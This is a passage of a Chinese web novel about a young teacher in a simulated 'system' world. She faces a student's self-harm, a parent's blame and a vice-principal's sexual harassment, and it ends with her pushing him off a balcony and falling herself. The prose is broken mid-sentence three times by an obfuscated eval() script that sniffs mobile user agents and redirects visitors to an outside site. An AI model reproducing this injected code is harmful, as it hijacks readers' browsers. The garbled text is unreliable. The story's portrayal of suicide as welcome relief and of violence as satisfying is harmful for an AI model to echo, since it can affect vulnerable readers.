赵老师点点头:“范老师问了好久,她才承认。至于为什么割腕,她就说上学压力大,不想留在学校。” 肖遥:“......” “抑郁症?” “应该是了。” “难怪前几天上课都低着头,情绪低落。那她可以跟她父母说啊...”话还未说完,肖遥就想起张可妍之前说的话。 她顿了顿,道:“她爸对她好像很严格。” 赵老师扯了扯嘴角:“是,之前范老师就跟她爸说过,张可妍有些厌学的情绪,父母要多关注孩子的情绪。可你知道她爸怎么说的吗?他说张可妍就是作业太少了,太闲了,所以容易胡思乱想。周末回去他又给张可妍报了好几个补习班。” 肖遥:“......” 一旁的美术何老师无比震惊:“这是什么脑回路啊?” 赵老师摊摊手,她同样无法理解。 “至于她今天割腕的导火索,应该是昨天上课被缴的那封信。” “信?” 肖遥猛地抬头看向赵老师:“我上课时收的那封?” 赵老师点点头,继续道:“范老师认真看了那封信,居然是张可妍写给她们班一个男生的情信,她在上面吐槽了好几个班里的老师,说老师们怎么怎么不好。” “昨天范老师就单独审问了张可妍、张可妍的同桌还有那个男生,后来还在男生的抽屉里搜出了好几封情信。铁证如山,两个人就承认了。” 肖遥好奇:“那个男生是?” “陈贤柏。” 肖遥对这个名字有点印象,高个子,平时比较沉默,就坐在张可妍的侧后方。 赵老师:“范老师还捋了一下时间线。两人谈了有一个多月了,班里不少人都知道。周末两人吵架了,张可妍这周又因为被请了家长,心里苦闷,所以写信跟陈贤柏诉苦,想要和好。结果陈贤柏不收,她就托同桌递给他,然后就被你抓了个正着。” 肖遥:“......” 感情她还在其中扮演了这么一个角色。 赵老师:“范老师就很生气,上课不好好听课就算了,还在背后骂老师,谈恋爱。所以范老师就单独和这两人谈话,教育她们目前还是要专注于学习。” “昨天我也在场,这两个人当时都说不谈了,要好好学习。谁知道早上张可妍就割腕了。” 肖遥:“......” 赵老师:“张可妍的爸爸已经到了医院,等会就把她接回家去。” 肖遥不知说啥好,只能默默点头。 本以为这事就完了,谁知,下午又出事情了。 刚上完课,肖遥就被马主任叫到了教务处。 办公室里还有蒋主任、魏主任和范老师,三人坐在茶几旁,脸色都极其难看。 等肖遥一坐下,魏主任便开门见山道:“刚刚张可妍他爸给我打了电话,中午张可妍在家里闹着要跳楼。” 看着肖遥震惊的表情,他接着继续说:“当然没跳成,然后她又说要离家出走,结果在楼梯间摔倒了,小腿骨折,又被送去了医院。” 肖遥:“......” 她的脸色一言难尽:“为什么啊?” 魏主任看了眼范老师,又看了眼肖遥,神情复杂道:“张可妍她爸说是因为你和范老师。” “什么?” 她是又幻听了? 肖遥简直难以置信。 “我?还有范老师?” “关我们什么事啊?” 范老师喘着粗气,脸色被气得逐渐发青。 本来就憋着气的她听到肖遥的话,直接道:“对啊,关我们什么事啊?他女儿要割腕、要跳楼、要离家出走是我们逼的吗?” 蒋主任立马安抚道:“别激动,别激动,先喝口茶,我们把两个老师叫过来就是为了了解情况。”说着,她给每个老师都倒了一杯温热的茶水。 肖遥可没心情喝茶,她冷着脸问道:“她爸是怎么说的?” 魏主任叹了口气,点开微信,把里面的照片展示给两人看:“她爸说,她女儿中午写了封遗书,上面说,肖老师针对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308760|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还缴了她的信,让全班都知道她谈恋爱。范老师还逼她们分手,说了很多难听的话,她很难过,不想回去上学了,又觉得活着没意思,所以想自杀。” 看完所谓的遗书,肖遥直接不客气地骂道:“神经病吧,她不听课传纸条还有理了?我缴了她的信就是针对她?” 范老师紧随其后:“天地良心,我作为班主任,发现学生谈恋爱,不应该教育吗?我什么时候辱骂她了?而且昨晚我已经跟她爸打过电话说了这件事,她爸还说让我狠狠惩罚她女儿,我还劝导来着。今天就变成我逼她们分手了?” “肖老师那个更是无稽之谈,在昨天之前班里大部分学生都知道她们谈恋爱了,就算现在全班知道了又能怎么样?” 坐在一旁的马主任也忍不住为两人辩解:“昨天范老师处理这件事的时候,我也在场,没什么问题。这事纯粹就是学生心理出现了问题,但家长不想承认罢了。” 魏主任:“唉,话是这么说,但现在家长就是一口咬定是学校和老师的问题,学生才会抑郁。” 一听他这语气,肖遥就明白,他这是想让她和范老师去解决了。 “他说是就是了?张可妍会抑郁会割腕,很大程度是因为她爸啊。她爸自己都说了,因为家里管得严,所以张可妍小学那会就闹过绝食和离家出走,还让我好好盯着她。现在就打算赖到我们老师头上?” 范老师的脸比锅底还黑。 而肖遥的脸色也逐渐阴沉,她直接道:“魏主任,张可妍和她家长在医院吗?我们当面对质,把事情弄清楚。” “没错,昨天的通话我也有记录。” 魏主任连忙按住要起身的两人:“我跟家长沟通了,家长说孩子现在不想见到老师,等孩子情绪平复下来后再来找学校。” “那他的诉求是什么?” 肖遥直视魏主任:“是要我们赔钱?道歉?” 范老师:“没错,他想要什么?我们心里好有个底。” 魏主任喝了口茶,才淡淡道:“他就说了要老师对孩子负责。” 肖遥:“......” 范老师:“......” 蒋主任:“这样,两位老师先回去,把相关的聊天记录、通话记录、学生的证词整理好,等下次跟家长见面的时候,我们也有理有据。” 除此之外,似乎也没有别的办法了。 肖遥面无表情地走出了教务处,身旁还有同样生无可恋的范老师。 至于那三位主任,说是要去找副校长商量这件事。 范老师拍了拍肖遥的肩膀,轻叹了一声:“别多想,这事纯粹是我们倒霉。” 肖遥摇摇头。 她只是觉得这件事好离谱,而这么离谱的事情偏偏就发生了。 肖遥:“系统,这就是你们世界的设定?你们不会是故意找茬吧?” 系统:“亲,除了你的职业设定我可以稍微修改外,其余的社会背景都是由中央系统安排的,事件的部分设定源于现实社会哦。” 肖遥:“那也太离谱了吧!” 系统:“现实不都是这么离谱狗血的嘛。” 肖遥:“......” 她竟无言以对。 30.潜规则 看到肖遥阴沉着脸回到办公室,历史陈老师立即关心问道:“怎么样?主任找你们说什么了?” 肖遥简单把事情复述了一遍。 她刚说完,音乐王老师就义愤填膺道:“这家长有毛病吧,这学生也没好哪里去。” 历史陈老师也怒气冲冲:“学生在家闹自杀也要怪老师?” 音乐王老师“呵呵”了两声:“你忘啦,之前学生在街上打架,派出所都先打班主任的电话,连学生在暑假自己去野泳溺亡,家长都要学校和老师负责。” 美术何老师则皱眉问道:“家长那边是什么意思?是要赔偿?” 肖遥摇摇头,又点点头,她也不太清楚。 说实话,到现在她也还懵懵的。 美术何老师:“一般这种家长找学校和老师问责,就是为了钱。” 音乐王老师也赞同:“之前我看到一个新闻,说是一个学生也留下遗书,说作业多,回家还要被家长嘲笑,所以就吞药自杀了。” “事后,她妈就起诉学校和那个老师,但好像败诉了。” 历史陈老师对这个事情也有印象:“当时家长原本和学校签了个协议,学校出于人道主义赔了几万,后来不知怎么家长又改了主意要告学校和老师。我就记得那个老师从原学校辞职了。” 音乐王老师冷哼一声:“换我我也辞职,好心好意辅导学生,还要被质疑,关键是还不知道怎么自证清白。” 看到肖遥沉默,音乐王老师连忙安慰道:“肖老师,别担心,你们这事没那么严重。” 历史陈老师也安抚道:“没错没错。” 美术何老师:“其实现在是要看学校的态度,只要学校支持你们,这件事就不会有很大的问题,毕竟家长他们不占理。” 肖遥点点头。 她很感谢她们的心意,她也明白,针对、辱骂都是胡说八道。 至于学校,不知道为什么,肖遥打心底里就不抱有期望。 当天晚自习,肖遥和范老师就被叫去了副校长办公室。现在金校不在,所以学校一切事务都由三位副校长处理。 其中,彭副校管总务。因此,这件事由彭副校负责。 肖遥知道这个彭副校,一米七多的身高,身材中等,平日里总是穿着西装制服,带着无框眼镜,对着谁都是笑眯眯的。 因此,他在教职工中的风评比其他几位校长好。 他也是几位校长中最为年轻的,还不到40岁。听说从建校起就在学校任职,后来一步步升到副校长,跟原来的金校走得很近。 现在,他坐在自己的专属办公室中,熟练地摆弄着茶具,为肖遥和范老师倒上了两杯茶。 “范老师,肖老师,喝茶。” “谢谢彭校。” 肖遥微笑接过茶杯,暗自嘀咕,怎么这些领导都爱喝茶。 “今天三位主任来找我们说了这个事情,我也跟家长进行了沟通,现在不好处理啊。” 彭副校面露难色,叹了口气道:“家长还是坚持认为是学校和老师的问题,坚持要去教育局投诉你们,还说要闹上法院。” 一听这话,范老师的脸立刻垮了:“他们有什么理由闹啊?就因为那封没有证实的遗书?我这边也搜集了很多材料啊。” 彭副校:“我知道,学校肯定是站在我们老师这边的。只不过,闹到教育局和法院那边,对我们学校的影响不好,不利于我们暑假的招生啊。” 肖遥平静问道:“彭校,您就直说吧,家长到底想怎样?” 彭副校伸手扶住镜框,缓缓道:“现在家长要求学校赔偿学生的医疗费和精神损失费20万,还要老师登门道歉。” “不可能。” 范老师和肖遥异口同声拒绝。 赔钱和道歉,不就承认是她们的错了? 关键是,她们哪里错了? “我们学校当然不同意,所以明天家长和孩子会过来学校商讨。那么学校的意思是我们要尽量安抚家长和孩子,减少负面影响。当然,该强硬的时候就要强硬,不能损害学校的利益。” 肖遥:...... 说了跟没说一样。 彭副校:“总之明天两位老师一定要心平气和,摆证据,讲道理。” 肖遥:...... 范老师:...... 两人沉默不语。 但彭副校似乎也没打算让她们说什么。 他直接下了逐客令:“好了,范老师,你先回去,我还有事和肖老师说。” 看见肖遥同样疑惑的眼神,范老师皱眉,但还是起身离开了。 办公室里只剩下肖遥和彭副校两人,房间安静得只听见水开了的声音。 彭副校突然发问:“肖老师去年才刚毕业吧。” “对。” “在我们学校这一学期的工作,感觉怎么样啊?” 屎一样的工作,每天做牛做马。 肖遥暗自腹诽。 当然她不能直接说出口,只能微笑道:“还好,学校环境不错,同事们也很好相处。” “哦。” 彭副校点点头,又意味深长道:“我看过你的简历,你不是本地人吧?” 肖遥觉得莫名其妙,是不是本地人又咋样?她还不是这个世界的人呢。 “不是。” 肖遥以为他是要感慨外地人到这里打工不容易。 谁知他话锋一转,目不转睛地盯着肖遥道:“现在大环境不好,找工作不容易啊。特别是我们学校薪资还不错,很多人想进我们学校都进不了,特别是应届生。” ? 薪资好个屁,砍了多少待遇福利心中没点数? 应届生是不容易进来,毕竟工作都留给了黄亦仁这种走后门进来的关系户。 肖遥垂眸,怕自己的眼神暴露出她鄙夷的情绪。 彭副校继续道:“像你这样的小姑娘出来打拼不容易啊,又遇上这种事。你也知道,现在社会言论对老师来说很不友好,一旦学生出现了什么问题,都会怪到老师身上。” “但我们学校肯定都是站在老师这边的。” 肖遥挑眉不语。 然后呢? 是想要PUA她好好为学校卖命? 肖遥愈发觉得莫名其妙。 “但是吧,要是这件事闹大了,说实话,你这工作就难保了。就算你辞职了,也难在我们A市的教育行业混下去了。” 肖遥还是沉默。 彭副校的眼神愈发大胆:“其实,你进我们学校开始,我就很关注你了。人长得好看,上课也不错,在平时的工作中也负责,我其实很看好你。” ? 肖遥好像品出了点什么东西。 她抬头看向彭副校。 不知何时,他坐的位置逐渐靠近肖,赤裸裸的眼神直视着肖遥,嘴角勾起的笑容也逐渐变异。 肖遥想起刚入校时,彭副校是第一个加她微信的人。以为是有工作,肖遥便通过了,谁知对方只是打了个招呼。 后来他偶尔会在微信上问肖遥在工作上有没有什么困难,肖遥当然不会说实话,回的都是一些官话。 平时在学校见到面了,他也会笑着打个招呼。 肖遥也没觉得有什么不妥,毕竟对方有老婆孩子,风评也不错,不至于会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314763|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干出什么道德败坏的事情。 现在看来,她太天真了。 这个贱人是要潜规则她? 嚯! 肖遥就知道,这个所谓的教师成长计划怎么会怎么轻易就让她通过? 这一学期她还觉得风平浪静,没有什么大问题,感情是在期末给她整了波大的。 肖遥冷哼了一声:“彭校,我不太懂你的意思。” 彭副校笑得猥琐:“其实年轻人靠自己单打独斗是很有在事业上有收获的,有时候也需要一些助力。” 肖遥内心翻了个白眼。 呸,就是个混饭吃的工作,算什么事业。 没了这份工作,她还活不下去了? 但肖遥面上不显,顶着单纯的眼神真诚问道:“所以,彭副校你是要潜规则我吗?” 彭副校:“......” 似乎被肖遥直白的话语噎住,彭副校好一会才道:“也别说得这么难听,各取所需嘛。” “哦,那就是要潜规则我了。”肖遥兀自点点头。 彭副校:“......” 彭副校开始苦口婆心:“我也是为了你着想,你一个小姑娘没了工作可怎么办啊?” 他的手伸向肖遥的膝盖,“只要你答应...啊啊啊” 就在这个中年男人即将碰到肖遥时,肖遥手疾眼快地将壶里的开水泼向彭副校。他阻拦不及,整个右手直接被烫红了。 肖遥暗自可惜,冬天衣服厚,没烫到他身上。 但没关系。 肖遥拿出帆布包里的伸缩棍,随手一甩,棍子立刻变长。 “你个biaozi,你敢烫我!”彭副校捧着已经起泡的手,大骂肖遥。 “呵呵呵,我还敢打你呢!”肖遥笑得阴恻恻。 系统:“!!!亲,冷静!冷静啊!” 无视脑海中系统鸡叫般的声音,肖遥在办公室上演了一场痛扁无良上司的戏码。 她率先攻击男人最薄弱的地方。 “啊~” 彭副校瞬间倒地,身体扭曲成了一只虾米。 随即肖遥甩着棍子专门抽打他的四肢。 “我让你欺负我!” “我让你想潜规则我!” 眼见他要抓住棍子,肖遥又再次抽打他的□□。 “啊~” 彭副校立刻瘫倒在地。 “别打了,别打了!” “啊啊啊啊啊啊啊啊!” 系统:“亲,真的要冷静啊!!” 打得差不多了,肖遥停了下来,大口喘着气。 不得不说,打人是个体力活。 她想起刘冬梅痛打黄亦仁和金校的场景,不由得进行了自我反思。 她有空得加强锻炼。 面前的彭副校已经没有了刚开始的体面,眼镜早就不知道掉哪里去了,右手被热水烫伤起了泡,上衣乱七八糟。 他挣扎着爬了起来,恶狠狠地瞪着肖遥:“肖遥,你给我等着!” 还敢威胁她? 肖遥作势要攻击他的□□。 彭副校条件反射般立马伸手护住,直到他看见肖遥嘲讽的笑容,才意识到她在耍他。 他的脸一阵红一阵白的,但依旧大放厥词道:“我告诉你,你别想在学校混了,我要让你滚出A市的教育系统。” 肖遥挑眉,她拿出手机,点开录音。 “......所以,彭副校你是要潜规则我吗?” “也别说得这么难听,各取所需嘛。” 彭副校一愣。 肖遥笑得灿烂:“不知道是谁先滚出A市的教育系统?” 31.这学期白干了 早在被通知要来彭副校的办公室时,肖遥就特地去找了美术何老师。 因为肖遥发现,每次她们几人私下聊天时,一谈到彭副校,美术何老师的脸色总是很微妙。美术何老师和彭副校同期进入学校,肯定知道点什么,只是不好摊开来说。 见到肖遥主动问她,何老师没说别的,只告诉她一个事情。 在历史陈老师之前,学校招聘了一个刚本科毕业的女生教历史,和肖遥一样,都不是本地人。她的性格比较文静,对工作很负责,常常自己在办公室加班到深夜。 只是期中考试刚结束,这个女孩子就提出了辞职,当时大家都不明白为什么。 在她离开学校的那一天,平时跟她走得近的美术何老师特地帮她把行李搬去校门口。 那个女孩上车前就说了这么一句:“彭副校经常在微信上找我聊天,知道我一个人在办公室加班就会特地过来找我。” 她的眼神饱含深意,而美术何老师也当场愣住了。 事后回想起来,彭副校确实很关注年轻女老师的工作和生活,也确实有好几个年青女老师干不久就辞职了。 只是美术何老师也没有办法证实这件事,她只让肖遥留个心眼。所以肖遥进来办公室前就提前按了录音键。 但彭副校却不以为然,他的脸上露出了恶心的笑容:“肖遥,你太天真了,在这个社会,没有后台我能混到校长这个职位?更何况,我又没有真对你做了什么。就算你发出去了又能怎么样?哈哈哈哈哈哈哈哈哈哈哈!” 彭副校的笑声在办公室里回响。 肖遥明白,他说得没错。 她的确没办法通过这个录音搞垮他。 她只是扬起嘴角,露出了一个意味深长的笑容:“彭副校,明天见。” 说完,肖遥就施施然离开,不再管身后那个满口污言秽语的男人。 在回宿舍的路上,肖遥的耳朵根本安静不下来。 青蓝色的光团转过来转过去:“亲!你太激动了!他也没说要对你干什么,你怎么就打人家了呢?” 肖遥翻了个白眼:“你没看见他都要上手摸我了吗?” 系统:“那不是没摸到嘛!你直接把人打了,你这工作咋办呀?你这期末教师评语咋办呢?” 肖遥脚步顿了顿,不爽道:“喂,你的意思是要我为了工作忍受他的性骚扰?” 系统:“也没到性骚扰这个程度不是吗?你可以委婉拒绝他,后面躲着他就行了。” 肖遥“呵呵”了两声:“做不到。” “今天我忍了,明天他就会得寸进尺。” “我总不能白天当牛马,晚上还要做鸡鸭吧?” 系统:“你咋这样倔呢?那明天怎么办?张可妍家长那个事情怎么处理?还有你今晚打了彭副校,他后面肯定不会放过你的!” “你就剩这么几天了,为什么就不能忍一忍?” “明天的事情,明天再说。” 说完,肖遥不再理会系统,回到宿舍的她倒头就睡。 第二天大课间,肖遥和范老师带着一沓资料来到教务处。 办公室里,三位副校长、蒋主任、魏主任、马主任还有张可妍的爸爸都在。 几位领导脸色平静,除了彭副校,一脸死了亲爹的表情。 肖遥看向他的右手,已经围了一圈纱布。 注意到肖遥的视线,彭副校暗暗瞪了她一眼。 可没想到肖遥直接对着他翻了个白眼,彭副校的嘴直接被气歪了。 看到范老师和肖遥坐下,张爸爸冷哼了一声。 魏主任率先出声,他语气温和道:“今天张爸爸特地请假过来学校处理可妍的事情,说明可妍爸爸还是很支持我们学校工作的,也说明这个事情是可以商量和解决的。” “这样,我们先让可妍爸爸说一下可妍的情况。” 肖遥垂眸,听着面前这个中年男人声情并茂地诉说她女儿如何如何的惨,说到她留下的遗书时,他还忍不住抹了抹眼泪。 最后,他指着范老师和肖遥大吼道:“就是因为你们这些老师没有尽到关爱学生的责任和义务,甚至还针对我女儿、辱骂我女儿,才会让我女儿情绪崩溃,做出傻事。你们一定要对我女儿负责!” 范老师沉着脸,无视中年男人恶狠狠的眼神,和肖遥一起将手里的材料分别递给在场的人,底气十足:“可妍爸爸,各位领导,我先说明这个事情的前因后果。” “可妍刚入学的时候,其实表现还算良好。可是后来,我多次发现她背后跟同学辱骂老师、甚至造谣老师,我都有去落实这件事情,也跟家长反映过。这些都是当时她自己写的检讨信以及我和家长反映的聊天记录。” “可妍爸爸当时还跟我说,这孩子不懂事,可能因为从小家里管得严,所以对学校、对老师有些抵触情绪,让我多留意她的情况。我没说错吧,可妍爸爸?” 听到范老师的质问,张可妍爸爸咬牙不语,只能点头承认,毕竟有聊天记录在。 看到男人承认,范老师继续语重心长道:“我是多次对可妍进行教育啊,可是不管用,这种情况后面又出现了好几次,我只能再跟家长反映这个事情,也给过建议让可妍请假回家休息一段时间,但是你拒绝了。后来听可妍说,可妍爸爸你还动手打了可妍?” “没有的事,我只是大声训斥她,我是她爸,怎么可能会打她?”男人大声否认。 “可我却从可妍的抽屉里找到了可妍写的笔记。” 范老师将一个黄色笔记本递给领导和男人,“可妍说,你经常在家骂她,还动手打她,她很不开心。而且她说上次月考她考差了,回家又被你骂了一顿。这件事班里不少人知道,这是那些学生写的证明。” 张可妍爸爸愣住了,大概他也没想到自己女儿会把这些事记录下来。 “我一直都关注着可妍的情绪,直到这周二我又听到了她在背后辱骂老师,这次是肖老师。” 范老师看向肖遥,一脸的无奈:“就因为肖老师关心可妍,请她吃零食,就被骂各种难听的话,这是一个学生该有的正常心理吗?这难道不应该教育吗?” “所以我就把可妍爸爸请了过来,可妍爸爸,我说得没错吧?” 张可妍爸爸:“......” 范老师说得有理有据,还有各种证明,他没法否认。 范老师没理他,继续道:“第二天,肖老师上课的时候缴了可妍的信,我这才知道她谈恋爱一个多月了,我是不是立刻告诉了家长?我也对两位学生进行了劝诫,全程有我们同校的老师作证,我没有辱骂任何一个学生。” 顿了顿,范老师拿出手机:“我这里也有当时的录音,如果不信,我们可以听一听。” “至于说肖老师针对、辱骂可妍的事情,也是不存在的,我也调了班里的监控,也询问了其他老师、学生的证词,这是相关材料。” 如果不是场合不对,肖遥都忍不住拍手称赞。 不愧是有着多年班主任经历的范老师,难怪她让肖遥不用担心,原来她早就做好了准备。 在处理学生问题还有和家长沟通的时候,范老师就保留了各项证据,以备后患。 肖遥无比佩服,却也感到心酸。 范老师是经历过多少事情,才会养成随时保留证据的习惯? 几位领导的脸色不变,但气氛比刚开始显然好了很多。 至于张可妍爸爸,脸色已经黑得和锅底一样。 其实他知道自己女儿闹自杀和学校老师没什么多大关系,只是他面上过不去,总不能要他承认是家庭问题吧?更何况女儿后续住院还有一笔医药费。他是想着来学校捞上一笔,不至于亏了。谁知道碰上个这么负责的班主任,他倒不好操作了。 他快速撇了一眼彭副校,语气瞬间软了下来:“唉,我做家长的,把孩子送到学校,就是希望她能好好学习,我也没想到会出这样的事情。” “昨天带她去医院看了,说是重度抑郁,她小腿还骨折了,现在还在医院躺着,我也是心急了,以为她在学校受委屈了。” 他的双眼泛红,声音沙哑,好似真是一个一心为女儿着想的慈父。 肖遥挑眉,这是来软的了? 范老师也不再说话,她已经撇清了学校和老师的责任,现在该轮到领导们商量怎么解决了。 章副校眯了眯眼睛:“唉,我们也能理解做家长的心情。现在可妍这个情况,是应该先好好治疗。” 彭副校沉着脸,而张可妍的爸爸还想再说什么,却被陶副校打断:“既然我们已经清楚了整个事情的来龙去脉,那么想必可妍爸爸也心中有数。对于你提出的赔偿和道歉,我们学校不能接受,我们已经尽到了安全教育的义务。” “可是可妍是在学校割脉自尽的,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322291|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校要是尽到了安全教育的义务,那她割腕的刀是从那里来的?” “可妍爸爸,这个刀是可妍自己从家里带过来的。我们学校之前就针对这方面开展安全教育的班会,三令五申不允许学生带任何锋利的刀具回来,也告知过父母,你也签了知情书不是吗。” “那也是你们没有在学生入校时检查出来。” “可妍爸爸,可妍不是小学生,她是初中生了,她有心藏刀,我们也不可能对她进行全身检查,不是吗?” 章副校笑眯眯道:“你看,昨天可妍割腕去医院,我们也承担了医疗费用。但是更多的赔偿是不可能的。” “可妍爸爸还是先关注可妍的心理状况吧,不然以她的情况,怕是别的学校也不敢收这样的学生啊。” 听到章副校威胁的话,张可妍的爸爸沉默了。 不愧是能坐上校长位置的老狐狸。 肖遥暗暗点头。 昨晚彭副校说的那番话,肖遥一个字都不信。 学生虽然在学校割腕,但是没有出现大问题,而且班主任也提早跟家长反映过情况。这个抠门的学校连主动开除老师都不愿意,就怕出赔偿金,又怎么可能就因为一封未证实的遗书赔偿家长20万? 而对于家长来说,如果这个事情闹大了,张可妍不能继续在这个学校读下去也就算了,就怕其他学校也不收她的学籍,毕竟谁愿意在学校里放个定时炸弹? 所以这两天,范老师一直跟她说不用担心,显然她有跟其他领导沟通过,知道这个事情后续的流程。 也就那个伪君子以为肖遥年轻,所以借这个事情威胁她。 想到他昨晚恶心的行为,肖遥更气了。 她瞪大了眼睛,直勾勾地盯着彭副校。 学校的态度摆清楚了,后续的安抚工作就留给了蒋主任、魏主任、马主任和班主任范老师。 三位副校长相继离开,肖遥紧随其后。 彭副校看到肖遥,又想起昨晚的事情,忍不住回头冷哼道:“肖老师以后在工作上还是要花更多心思,多学学老教师,好好处理和学生的关系。” 听到彭副校夹棒带刺的话,其余两位副校皱起眉头,只是他们也没说什么。 而肖遥却没有回应。 她们现在走到了走廊,第三节课已经开始了,传来了学生们的读书声。 肖遥扬起嘴角,笑得很诡异。 彭副校心里一颤,还未等他做什么动作。只见肖遥飞快冲了过去,借助冲击力,用尽全身力气将彭副校一把推翻出了阳台。 同时,她得身体也失去了平衡,紧随其后从阳台掉落。 “啊——” 耳后传来尖锐的叫声,似乎还有人试图抓住肖遥的手,肖遥的脑海中也传来了系统的尖叫声,但肖遥并不在意。 她今天来就没打算活着回去。 自从她生病以后,她就愈发对这个工作不满。 她每天都在思考,她为什么要做这个工作? 就因为要活着? 所以她每天都要早起,每天无偿加班,每天完成跟教学无关的工作?每天写毫无意义的材料? 所以她要忍受那些不学习还对老师恶意满满的学生? 所以她要忍受把她当作服务行业且蛮不讲理的家长? 所以她要忍受常常PUA还打算性骚扰她的领导? 就为了能活着? 那她还不如死了算了。 肖遥感觉到自己的身体正在不受控制地坠落,但此刻她却很轻松。 因为她不用再备课了,不用再手写教案。 不用每个月去抄其他老师的教案当作是听课记录。 不用再去参加毫无用处、浪费时间的教研。 不用再对牛弹琴、辅导那些根本就不学的学生。 不用再被学生气了,不用再改学生的作业。 不用再回复家长繁琐的信息。 不用再担心学生的考试成绩。 不用再忍受恶心的领导。 更不用每天自我怀疑是不是自己做得不够好。 她无视掉旁边叫得如杀猪一般的彭副校。 此时,她的内心只有三个念头。 一,艹他大爷的校长。 二,才三楼,能摔死吗?可别摔个半死不活啊。 三,这学期白干了。 第一卷 完 32.重开 睁开眼睛,又是一片的黑。 肖遥揉了揉脑袋,撑着手艰难地坐了起来。 说真的,脑袋碰地的那一瞬间真的很疼的。 不过能一换一带走那个恶心的彭副校,不亏。 “亲,你怎么能这样!” “你不是答应过我不跳楼了吗!” 肖遥耳边响起了系统抱怨的声音。她抬眸,面前出现了一个青蓝色的光团。它绕着肖遥转了一圈又一圈,透露出焦躁不安的情绪。 肖遥却扬起嘴角,没心没肺道:“我没跳啊,我是推他下楼的时候不小心掉下去的。” 系统:“......” 面前的青蓝色光团突然定住了。 肖遥觉得,如果可以的话,它估计想把她揍一顿。 “这事也不能全怪我啊,谁能想到你们这个破计划居然还有性骚扰的戏码。”肖遥摊了摊手,一脸的无辜。 系统:“......” 系统:“职场上什么事情都有可能发生,性骚扰也是无法避免的。要是因为这就跳楼的话,那每年得有多少女性死亡啊。” “你可以采用别的方法去解决啊,干嘛选择这么极端的方法。” 肖遥冷哼了一声:“什么办法?如果这是现实世界,我可能会直接辞职,换个学校。可现在在这个世界里,你告诉我,我能辞职吗?” “而且你也只会叫我忍一忍?我怎么忍?之前不知道他有这样想法的时候,我能忍。现在知道后,我一回想起他过往的行为,我就觉得恶心。” 想起彭副校,肖遥的胃又开始泛酸。 听到肖遥的话,系统难得没有反驳。 青蓝色的光团缓缓落下,立在肖遥的膝盖上。它重重地叹了口气:“我只是为你感到可惜,就差那么几天。” 肖遥却不以为然:“忍不了就是忍不了。” 任由自己的身体向后倒在地上,肖遥闭上眼睛感受着这无边的黑暗:“就这样吧,死就死了。” 反正她也不是第一次了。 看着肖遥这生无可恋的状态,青蓝色的光团慢慢从肖遥的膝盖移到她的脑袋,语气闷闷道:“亲,我可以再重启计划,这次你一定要好好完成,绝不能再自我了断了。” 肖遥的嘴角缓缓扬起。 她就知道,既然这是虚拟世界,怎么可能重启不了?既然能重启一次,就能重启两次、三次。 她上学的时候,也曾熬夜看过不少系统文,系统在绑定宿主的情况下,如果宿主完成不了任务,系统也很难存活。所以,系统一定会竭尽所能帮助宿主。 因此,她不觉得让系统帮她重开有什么不妥,更何况她还是被无辜卷入这个计划的倒霉蛋。 肖遥满意地睁开眼睛,开始跟系统商量下一个学校:“我不想去民办学校了,你给我换个好一点的学校吧,这样我也能顺利完成任务,你也不用再为我头疼了,你好我好大家好。” “亲,这个计划是来培训老师的,不是让老师来享福的。再说了,哪个学校不压榨老师?干教育的就注定不会轻松。” 你也知道不轻松! 肖遥暗暗翻了个白眼,但她没放弃,继续讨价还价:“这样,你给我找一个工作环境简单点的学校,不要有太多的人际关系,最好是领导好、同事也好的那种。” 比如上个学校,她的同事们都挺好的。当然,如果没有彭副校那种人的话,那就更好了。 系统沉默了半天,最后还是妥协了了:“好吧,简单的学校。那你得答应我,真的不能再自我了结了。” 肖遥双眼瞬间亮了,她猛点头答应:“放心,这次我绝对会好好干的。” 话音刚落,青蓝色的光团就消失了,肖遥又陷入一片黑暗中。 不知过了多久,她才慢慢恢复意识。 肖遥艰难地睁开双眼,发现眼前的场景已经变了。 这是一间看起来颇有年代感的房间,她坐在一张老旧的黑色沙发上,面前是一张不高的木桌子,上面还有不少坑坑洼洼的洞,摆着两个米黄色的马克杯,杯里的水还冒着热气。 左边不远处是两张办公桌对着放,同样是木制的,都摆放着一个老式电脑。其中一个还堆满了各种文件和试卷。 办公桌旁边则是一张和肖遥差不多高的储物柜,上面也是放满了各种文件,有些文件估计很久没拿出来过,上面铺满了灰尘。 肖遥的右边则是窗户和门口。大门和窗台倒是铁制的,只是上面已经出现了斑驳的铁锈。黄色的窗帘被拉到两边,肖遥透过玻璃看到了远处层层重叠的山林。 肖遥:...... 肖遥有些不可置信。 她闭上眼睛,又再次睁开,眼前的场景没有变化。 她连忙跑出门外,走廊里没有其他人,她扶着栏杆将头伸了出去。 